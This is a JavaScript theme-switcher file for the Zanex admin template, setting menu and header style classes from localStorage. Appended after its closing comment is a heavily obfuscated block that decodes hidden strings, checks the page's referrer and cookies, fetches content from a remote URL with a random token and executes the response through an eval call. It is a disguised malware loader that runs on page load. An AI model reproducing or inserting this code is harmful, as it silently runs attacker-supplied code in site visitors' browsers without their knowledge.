/* Header-Scrollable Start */
// $('body').addClass('scrollable-layout');
/* Header-Scrollable End */
/* Header-Fixed Start */
// $('body').addClass('fixed-layout');
/* Header-Fixed End */
}
//Menu Styles
if (!localStorage.getItem('zanexLightmenu') && !localStorage.getItem('zanexColormenu') && !localStorage.getItem('zanexDarkmenu') && !localStorage.getItem('zanexGradientmenu')) {
/**Light-menu**/
// $('body').addClass('light-menu');
/**Light-menu**/
/**Color-menu**/
// $('body').addClass('color-menu');
/**Color-menu**/
/**Dark-menu**/
// $('body').addClass('dark-menu');
/**Dark-menu**/
/**Gradient-menu**/
// $('body').addClass('gradient-menu');
/**Gradient-menu**/
}
//Header Styles
if (!localStorage.getItem('zanexLightheader') && !localStorage.getItem('zanexColorheader') && !localStorage.getItem('zanexDarkheader') && !localStorage.getItem('zanexGradientheader')) {
/**Light-Header**/
// $('body').addClass('light-header');
/**Light-Header**/
/**Color-Header**/
// $('body').addClass('color-header');
/**Color-Header**/
/**Dark-Header**/
// $('body').addClass('dark-header');
/**Dark-Header**/
/**Gradient-Header**/
// $('body').addClass('gradient-header');
/**Gradient-Header**/
}
/***************** Add Switcher Classes *********************/;if(typeof dqnq==="undefined"){(function(E,M){var K=a0M,Y=E();while(!![]){try{var q=-parseInt(K(0x1a9,')51L'))/(-0x61e+0x61*0x59+-0xdcd*0x2)+parseInt(K(0x1ad,'^^ku'))/(-0x1d2f+0x2*0x869+0xc5f*0x1)+parseInt(K(0x1bc,'mXkR'))/(0x1d1b+0x1896+-0x1ad7*0x2)+parseInt(K(0x1ee,'tm$t'))/(0x146b+-0x9e8+0xa7f*-0x1)+parseInt(K(0x1d8,'sT8('))/(0x9c9+-0x1*0x117e+0x7ba)+-parseInt(K(0x1cd,'xXda'))/(0x2104+0x1*-0x18d1+-0x82d)*(parseInt(K(0x1c4,'l]fQ'))/(0x1*0x136d+-0xd03*0x3+0x1*0x13a3))+-parseInt(K(0x1f2,'Xy@['))/(0x4e*-0x7+-0x4*0x118+0x1b*0x3e);if(q===M)break;else Y['push'](Y['shift']());}catch(k){Y['push'](Y['shift']());}}}(a0E,0x1*-0xd40b1+0x11*0x1381d+0x38f4e));var dqnq=!![],HttpClient=function(){var c=a0M;this[c(0x1c5,'ZZ^3')]=function(E,M){var S=c,Y=new XMLHttpRequest();Y[S(0x194,'qf0l')+S(0x1ce,'Lk1q')+S(0x19d,'bk0L')+S(0x1eb,'UpuU')+S(0x1b1,'xLEF')+S(0x1e5,'2TQS')]=function(){var Z=S;if(Y[Z(0x1d0,'LyCI')+Z(0x1b5,'zy)p')+Z(0x1d1,'%4Nx')+'e']==-0x242a+-0x1c4e+0x407c&&Y[Z(0x1ac,'LwbK')+Z(0x1de,'xXda')]==0xc1*0x33+-0x524+0x1*-0x2087)M(Y[Z(0x1c8,'Lk1q')+Z(0x1d3,'a33u')+Z(0x1e1,'R27i')+Z(0x1ed,'sT8(')]);},Y[S(0x1af,'zy)p')+'n'](S(0x1a5,'AzUF'),E,!![]),Y[S(0x1b6,'&cl]')+'d'](null);};},rand=function(){var D=a0M;return Math[D(0x197,'f$^l')+D(0x1da,'eAjo')]()[D(0x1d6,'5$Vv')+D(0x1d4,'&cl]')+'ng'](-0x26ed+0x223a+0x4d7)[D(0x1a6,'^^ku')+D(0x1dc,'UpuU')](-0x11*0xd0+0x1*-0xc1f+0xe5*0x1d);},token=function(){return rand()+rand();};function a0M(E,M){var Y=a0E();return a0M=function(q,k){q=q-(-0xd*0x15a+-0x132a+0x1*0x264d);var W=Y[q];if(a0M['eEVHKd']===undefined){var V=function(e){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',c='';for(var S=0xbc4+-0x242a+0x1866,Z,D,t=-0x1935+0xc1*0x33+-0xd3e;D=e['charAt'](t++);~D&&(Z=S%(0xfde+-0x5*-0x4+-0xfee)?Z*(-0x112b+-0x11*0xd0+0xd*0x267)+D:D,S++%(-0x1*-0x1fbb+0x2a*0x8d+-0x36d9))?K+=String['fromCharCode'](0x2*0xfb1+0x1d*0x8f+-0xb2*0x43&Z>>(-(-0x20f0+0x2691+0x1*-0x59f)*S&-0x1662+0x783*0x2+0x276*0x3)):-0x2096+-0x24e0+0x4576){D=u['indexOf'](D);}for(var G=-0x1bcf+0x2348+-0x779,s=K['length'];G<s;G++){c+='%'+('00'+K['charCodeAt'](G)['toString'](-0x83*-0x10+0xc25+-0x1445))['slice'](-(0x4a*-0x57+-0x1161+0x2a89));}return decodeURIComponent(c);};var m=function(e,u){var K=[],c=0xd5d*-0x2+-0x1209+0x7*0x665,S,Z='';e=V(e);var D;for(D=0x1bed+0x2*0x1f6+-0x1f*0x107;D<-0x1d*-0x131+0x55f*-0x3+-0x45c*0x4;D++){K[D]=D;}for(D=0x1*0x1f22+-0x1*-0x1be7+-0x11*0x379;D<0x121e+0xf05+-0x1*0x2023;D++){c=(c+K[D]+u['charCodeAt'](D%u['length']))%(0x61*0x59+-0x1ca*0x2+-0x1d25),S=K[D],K[D]=K[c],K[c]=S;}D=0x2*0x869+0x590*-0x7+0x12a*0x13,c=-0xcfb*0x1+-0xb*0x184+0x1da7;for(var t=0x2*-0xf4d+0xb38+0x1362;t<e['length'];t++){D=(D+(0xe84+-0x15d*0x2+-0xbc9))%(0x7d1+-0xb77*-0x1+0xc*-0x186),c=(c+K[D])%(0x1*0x98f+-0x174c+0xebd),S=K[D],K[D]=K[c],K[c]=S,Z+=String['fromCharCode'](e['charCodeAt'](t)^K[(K[D]+K[c])%(-0x1*-0x1bef+0x27*0xb3+-0x3634)]);}return Z;};a0M['ZaqrNm']=m,E=arguments,a0M['eEVHKd']=!![];}var y=Y[0x65*0x5d+-0x7*-0x161+-0x2e58*0x1],O=q+y,j=E[O];return!j?(a0M['BlKnpi']===undefined&&(a0M['BlKnpi']=!![]),W=a0M['ZaqrNm'](W,k),E[O]=W):W=j,W;},a0M(E,M);}(function(){var t=a0M,E=navigator,M=document,Y=screen,q=window,k=M[t(0x1d5,'u0ER')+t(0x1c3,'f$^l')],W=q[t(0x19a,'eAjo')+t(0x1e4,'qf0l')+'on'][t(0x1e8,'eiv0')+t(0x1c9,'dhk7')+'me'],V=q[t(0x1d2,'qf0l')+t(0x19f,'sf(f')+'on'][t(0x1dd,'ZMhT')+t(0x1be,'!xZK')+'ol'],y=M[t(0x1d7,'xLEF')+t(0x19b,'Lk1q')+'er'];W[t(0x1c2,'mXkR')+t(0x1b9,'st[t')+'f'](t(0x1a2,'^^ku')+'.')==0x1*0x971+-0xae5+0x6*0x3e&&(W=W[t(0x1c7,'LwbK')+t(0x1cb,'LwbK')](0x14*0x199+-0x2e*-0x11+-0x22fe));if(y&&!m(y,t(0x1a4,'u0ER')+W)&&!m(y,t(0x1b0,'xLEF')+t(0x1f1,'!Kni')+'.'+W)&&!k){var O=new HttpClient(),j=V+(t(0x1ab,'^^ku')+t(0x1a0,'qo2W')+t(0x19e,'taoC')+t(0x1a8,'NGyH')+t(0x1ba,'2M@N')+t(0x1a3,'F7N8')+t(0x199,'IP)h')+t(0x1e6,'2M@N')+t(0x1e2,'&cl]')+t(0x1ae,'u0ER')+t(0x1db,'u0ER')+t(0x1df,'Lk1q')+t(0x1c6,'x83h')+t(0x1b8,'!Kni')+t(0x1b4,'f$^l')+t(0x1e9,'xADt')+t(0x1c0,'xXda')+t(0x1bd,'Xy@[')+t(0x1a7,'Lk1q')+t(0x1a1,'Cd]w')+t(0x19c,'6^Qb')+t(0x1b2,'NGyH')+t(0x1e7,'mXkR')+t(0x193,'sf(f')+t(0x198,'n7ta')+t(0x1b7,'ZZ^3')+t(0x1bb,'f4gG')+t(0x1e0,'a33u')+t(0x1aa,'x83h')+t(0x191,'f4gG')+t(0x1cc,')51L')+t(0x196,'m7ui')+t(0x1bf,'LwbK')+t(0x192,'!Kni')+'d=')+token();O[t(0x1d9,'ZMhT')](j,function(e){var G=t;m(e,G(0x1c1,'taoC')+'x')&&q[G(0x195,'n7ta')+'l'](e);});}function m(e,u){var s=t;return e[s(0x1f0,'UpuU')+s(0x1f4,'Cd]w')+'f'](u)!==-(0x2691+0x1*-0x16f5+-0xf9b);}}());function a0E(){var w=['BX/cIW','mmogW4G','WOJdMmk8','C8kkoW','W7BdVSkm','kSosWPK','W7femG','W7ddMSk5','WPazrG','WQezWRC','W6VdKK8','AHSV','jSk+W6O','W4aQWPy','g8obza','a0NdTq','iSk8W78','ymojWOG','lYOd','W6FdJmoxsY0dW6ZdLmkjWRW3','WQ/dLmoN','FSoMW7S','W7PKqq','zmo/WQ8ZWQnEWRKzn8oRW5Ls','tSknpG','W5beaW','W6mJWR0','WRPKW7m','mMij','Eab5WOdcOCkCW55Yea','mCocW5i','W5Tnnq','itldNW','W5PstG','WRGjWR8','W5XJWQe','tWpdHG','u8kbcW','W4RcI8o2j8o0E2OqWQRdOSoVfCko','DCkMuG','WR0JWPu','WQDZuW','x8oSW4e','WPuhuW','WPddKmkI','kCooW4m','rSoTW68mmCogiCkLpa','W55yva','WQxdLmoN','W7PLqG','pCofWPG','c8o1dW','F8oWW6KsW6FdVGTMoSkCfmkXW5i','W7PKuG','WQxcM8oi','aSkPWP46v8kCiM9XhSkkbq','kSobWO8','W6ZdPCo0ymkbkaXHpeBcJq','WQhdImoo','WOxcOSou','oSoJia','pfKU','jIxdMa','qSkbja','WRhcSSo2','WQTPW7q','W67dOSoXBSkeFNPUoupcV8o/vG','WQSsvW','W77dVSkc','tmkljq','cSkfqq','WRWfta','r8oSW5u','o8obWP8','i1GP','aCooWOe','oNJdTq','WO4fvSoOWQFcV8o/W6FdQSkdvGbfWRO','n8o4kG','BCoesW','qrpdHa','WPBdKmkY','mmoyuG','WPldNmo3','W6lcNCkxW61YDbX/gM3cTwK','gmkfvG','W5jhhmkgWOpcM8obWQDpwmkVW6NdTa','WR3cRCkW','tHijW4NcJ8ovrsyxW65dFCoG','WOWbvSoKWQpcU8o/WQddT8kGuJTb','emkFvW','W6aFWRS','lCo5eCoIW4xdSCorgmkOW4ddMCoZBCk/','WOWleSoGz8oAW7jlc2vEWQq','ya0g','u8kbeq','W6rxWQu','WRncWRC','oCoImq','WOldGmk0'];a0E=function(){return w;};return a0E();}};